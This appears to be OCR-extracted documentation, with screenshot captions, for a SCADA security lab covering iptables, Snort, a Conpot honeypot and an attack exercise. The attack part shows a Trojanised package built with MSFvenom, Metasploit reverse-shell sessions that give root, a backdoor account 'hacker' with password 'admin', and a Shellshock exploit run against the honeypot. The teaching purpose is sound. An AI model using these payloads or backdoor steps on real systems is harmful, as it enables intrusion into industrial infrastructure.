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General Context

Supervisory control and data acquisition (SCADA) networks are specialized systems used
for controlling and monitoring multiple machines and processes. These technologies are
commonly used in important infrastructure, like power grids, water treatment facilities, and
manufacturing plants. Consequently, they are prime targets for cyberattacks. This lab
introduces participants to several technologies that help secure SCADA networks against

such attacks.

The first of these technologies is likely to be somewhat familiar to even to readers with
minimal technical background — firewalls. The lab has participants employ iptables — the
standard firewall software on most Linux distributions' — to create rules that filter network
traffic based on specific attributes, like where it’s coming from or going to. iptables is very
powerful and provides a highly granular level of network control within SCADA

environments (Nivethan, 2016).

The second technology is intrusion detection systems (IDS). An IDS can monitor SCADA
networks for signs of unauthorized access or anomalous behavior. Participants use Snort,

a popular, open-source, IDS, to analyze network traffic and generate alerts when

Tiptables has largely been replaced by the newer nftables in this regard, though the “iptables” command will
typically still work as an alias to nftables. The lab uses iptables.



suspicious activity is detected. Snort is considered the de facto standard for open-source

IDS software and is a common component of SCADA security strategies (Zhang, 2017).

The third technology is honeypots — decoy systems that mimic real ones with the express
intention of attracting attackers. Participants use Conpot, a widely-used honeypot
program, to set up a realistic, isolated, SCADA environment that they then monitor for
malicious activity. Research shows that honeypots such as Conpot are effective tools for
identifying attack vectors and enhancing the security posture of SCADA networks (Mesbah
et al., 2023). Conpot specifically is adept at producing valuable insights into attacker

behaviors and techniques (Jicha et al., 2016).



Technical Context

Supervisory control and data acquisition (SCADA) networks require a multi-layer security
approach to be adequately protected against cyber threats. This lab introduces
participants to several key security technologies that are commonplace in SCADA security

strategies.

Participants being by configuring firewalls to filter Modbus/TCP traffic and restrict access
to authorized endpoints. They use iptables to implement specific ingress and egress rules,
learning how to prevent unauthorized network traffic without disrupting legitimate

processes.

Participants also work with instruction detection systems — specifically, Snort —to
monitor a SCADA network for signs of unauthorized access or anomalous behavior. Snort is
used to analyzed Modbus traffic and detect threats such as unauthorized read/write
requests and potential DoS attacks. Participants write and test Snort rules, then use tshark

to examine the network packets their rules capture.

Additionally, participants use honeypots to catch and examine a cyberattack and they
simulate. This provides them with insight into the methods attackers use against SCADA
networks and how that insight complements the other technologies they use in the lab —

for instance, how it might help refine Snort configurations or iptables rules.
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Screenshots

Student

¥ 1.Introduction

As demonstrated by real-life examples, even the
strongest technical security controls in place can be
easily compromised by exploiting the weakest link in
the security chain: people. Actions such as inserting
an unauthorized USB drive into a workstation (as
was the case with Stuxnet) or opening a document
attached to a suspicious email (as was the case with
BlackEnergy) can provide attackers with the entry
point they need to gain access to the system
infrastructure.

A malicious installer has been built using DigiTemp,
a small utility for reading values (mainly
temperature) from 1-wire devices. A Trojan
backdoor has been inserted into it using MSFvenom
- a payload building tool that is part of Metasploit
Framework.

Please note that it does not mean that the program
itself is vulnerable.

In order to make the malicious package available for
download through a web browser, it has been
placed within the webroot folder (/var/www/html) of
the Apache server.

(® Video walkthrough

Figure 1. Starting Apache.

Student

¥ 7.Installing Package
Nirm

dpkg is the Debian Package Manager, a command-line
tool used to install, remove, and manage packages on
Debian-based systems. The dpkg tool is responsible for
unpacking and installing individual package files in

the .deb format.

sten

Navigate to the Downloads directory where the
downloaded file is located.

cd /root/Downloads

Afterwards, attempt to install the downloaded
digitemp.deb package:

sudo dpkg -i digitemp.deb

for kali-menu (2021.4.2)
for mas 2

The -i option stands for install.

The output indicates that the package was installed
successfully

(® Video walkthrough

Figure 2. Installing digitemp.

Termina - oot @ip-172-20-26-21%:

Download from <a href="http

s "Digi

p Downloa




A comprehensive test of the utility cannot be
performed as no sensors are currently connected.

To evaluate the accuracy of the utility installation,
execute the following command:

© /usr/bin/digitemp_DS2490

The Help section is displayed, and the utility is fully
inctional.

(® Video walkthrough

Step 8/13 Read ahead

Figure 3. Executing digitemp.

Adding new users is one of the more important tasks
that a root user can perform on the system. When
new users are added, they can log in to the system
with their personal credentials and perform various
tasks based on their permissions.

To add a new user named hacker, run the following
command:

useradd hacker

To create a password for the new user hacker, run the
following command:

passwd hacker

Enter (and re-enter) 'admin’ for the password.

Logging in to the compromised system at any desired
time is possible using the newly created account.

(® Video walkthro

Step 10/13

Terminal - root@p-172-20-26-217: -Downioads

DigiTemp v3.7.2 Copyright 1996-2018 by Brian C. Lane
GNU General Public License v2.0 - http://www.digitemp.com
Compiled for DS2490

Usage: digitemp [-s -i -I -U -1 -r -v -t -a -d -n -0 -c]
-i Initialize .digitemprc file
-1 Initialize .digitemprc file w/sorted serial #s
-w Walk the full device tree
-s /dev/ttyso Set serial port
-1 /var/log/temperature Send output to logfile
-c digitemp.conf Configuration File
-r 1000 Read delay in mS
-v Verbose output
-t o Read Sensor #
-q No Copyright notice
-a Read all Sensors
d5 Delay between samples (in sec.)
-n 50 Number of times to repeat
0=loop forever
-A Treat DS2438 as A/D converter
-0"counter format stri See description below
-0 2 output format for logfile
-o"output format string” See description below
-H"Humidity format string" See description below
Logfile formats: 1 = One line per sensor, time, C, F (default)
2 = One line per sample, elapsed time, temperature in C
3 = Same as #2, except temperature is in F
4 = Same as #2, except elapsed time since (1970-01-01 00:00:00)
5 = Same as #4, except temperature is in F
#2 and #3 have the data separated by tabs, suitable for import

Terminal - root@ip-172-20-26-21%: |

Name

Wildcard Target

msf6 exploit( ) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
nsf6 exploit(
LPORT => 443

msf6 exploit( ) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp

msf6 exploit( ) > exploit

) > set LPORT 443

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
Started reverse TCP handler on 127.0.0.1:443
Sending stage (36 bytes) to 127.0.0.1
Command shell session 1 opened (127.0.0.1:443 -> 127.0.0.1:38032 ) at 2025-02-16 19:35:38 +0000

id
uid=0(root) gid=0(root) groups=0(root)

i
L)d:b(roo() gid=0(root) groups=0(root)
useradd hacker

passwd hacker

New password: admin

Retype new password: admin

passwd: password updated successfully

@ Task completed!

Figure 4. Creating a new user named "hacker" on a target system.




4. Selecting Packets: Incoming Stuaent g larget
Traffic

First, opting to capture all incoming TCP traffic
destined for port 502, which is the default for Modbus
communication.

© sudo iptables -A INPUT -p tcp --dport
502 -j LOGGING

file Edit Tabs
The -A option adds a rule to the INPUT chain

responsible for regulating incoming traffic.

The -p option indicates the connection protocol being
used.

The ~dport option pinpoints the destination port.

The -j option assigns the desired action for the
selected packet.

In this specific rule, instead of choosing from the four
predefined actions (ACCEPT, REJECT, DROP, and LOG),
the packet is directed to the newly created chain,
LOGGING.

(® Video walkthrough

Figure 5. Creating an iptables rule to capture all inbound TCP traffic to port 502.

5. Selecting Packets: Outgoing Student
Traffic

Next, create a rule for the outbound traffic. This rule
involves including packets originating from source port
(--sport) 502 into the OUTPUT chain and subsequently
routing them through the LOGGING chain:

© sudo iptables -A OUTPUT -p tcp --sport
502 -j LOGGING File Edit Tabs Help

(® Video walkthrough
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Figure 6. Creating an iptables rule to capture al outbound TCP traffic from port 502.




R o o
mulate various industrial control
systems (ICS) protocols, like Modbus, DNP3, and
S7comm, enabling the creation of realistic-looking
ICS environments to detect and analyze attacks,
gather threat intelligence, and employ features suc|
as logging, alerting, and SNMP server simulation.

First, log in as the user conpot:
su conpot

When prompted for the password, enter conpot:

conpot

Lastly, to initiate Conpot, enter the following
command:

/home/conpot/.local/bin/conpot
--template default --logfile
/var/log/conpot/conpot.log -f
--temp_dir /tmp

(® Video walkthrough

Step 3/11

Figure 7. Starting Conpot.

(©) set RPORT 8800
set the TARGETURI varible to:
set TARGETURI /
And lastly set the Payload variable to:

set PAYLOAD
linux/x86/shell/reverse_tcp

Utilize the exploit command to run the exploit once
you've concluded with setting the necessary
variables:

exploit

Once the exploit is finished, use the following
command to exit the Metasploit console:

(® Video walkthrough

Step 5/11 Read ahead

(ye=n || |
@ Task completed!

https://metasploit.com

=[ metasploit v6.1.27-dev
2196 exploits - 1162 auxiliary - 400 post
596 payloads - 45 encoders - 10 nops
9 evasion

Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules

msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit( ) > set RHOSTS target
RHOSTS => target
msf6 exploit( )>V
Unknown command: V
msf6 exploit(
TARGETURI => /
msf6 exploit(
RPORT => 8800
msf6 exploit(
PAYLOAD => linux/x86/shell/reverse_tcp
msf6 exploit( )

set TARGETURI /

set RPORT 8800

set PAYLOAD linux/x86/shell/reverse_tcp
exploit

Started reverse TCP handler on 172.20.23.167:4444
Command Stager progress - 100.46% done (1097/1092 bytes)

Figure 8. Staging an exploit that will be captured by a honeypot on the target machine.



Target Student

¥) 7.Starting smod

msf6 exploit( > set RPORT 8800

PORT => 8800

sf6 exploit( > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp

msf6 exploit( > exploit

Now, on the Student machine, utilize the smod
framework based on Python and Scapy, which has
been explicitly developed for conducting penetration
testing on the Modbus protocol. Which is part of the
SCADA honeypot that was launched in the previous

S Started reverse TCP handler on 172.20.23.167:4444

Command Stager progress - 100.46% done (1097/1092 bytes)
Exploit completed, but no session was created.
msf6 exploit( ) > exit
:/# python2.7 /opt/smod/smod.py
WARNING: Failed to execute tcpdump. Check it is installed and in the PATH
WARNING: Failed to execute tcpdump. Check it is installed and in the PATH
WARNING: Failed to execute tcpdump. Check it is installed and in the PATH

To initiate the smod framework utilize the following
command:

python2.7 /opt/smod/smod.py

--=/MODBUS Penetration Test FrameWork
Version : 1.0.4
Modules : 23
Coder : Farzin Enddo
(® Video walkthrou, =[github : www.github.com/enddo

smop > |

Figure 9. Starting the smod framework.

Student
¥) 1.Starting Snort IDS

ume aierts) wnen suspICious acuvity Is aetectea
based on predefined traffic signatures.

Snort is an open-source intrusion detection and
prevention system (IDS/IPS) widely used for network
security monitoring. It can analyze network traffic in
real-time and identify potentially malicious or
suspicious activities. Snort consists of two key
components: a detection engine that utilizes
modular plug-in architecture (the "Snort Engine")
and a flexible rule language to describe traffic to be
collected (the "Snort Rules").

Digital Bond created a set of Snort rules for several
control systems protocols and named them
Quickdraw SCADA IDS signatures.

The snort.conf1 configuration file only has Quickdraw
rules enabled.

Open a new terminal and start Snort on the
loopback interface using the configuration file
located at /etc/snort/snort.conf1.

sudo snort -A console -i lo -c
/etc/snort/snort.confl

(® Video walkthro

Figure 10. Starting Snort.



Scada - Honeypot

inut

Learn to extract information about potential cyber attacks using the SCADA Honeypot.

Scada - Firewall Rules for SCADA

ninutes

In this lab, students will gain practical experience in utilizing iptables to effectively control network traffic, appreciate its versatility, and comprehend its crucial role in securing network infrastructures.

Scada - Snort SCADA Rules

Lab ninutes

Learn how to practice Snort IDS and some rules created specifically for SCADA networks.

Scada - Attacking the Infrastructure

Lab utes

Learn about compromising a system as you practice in the Scada Cyber Range.

Figure 11. Proof of lab completion.



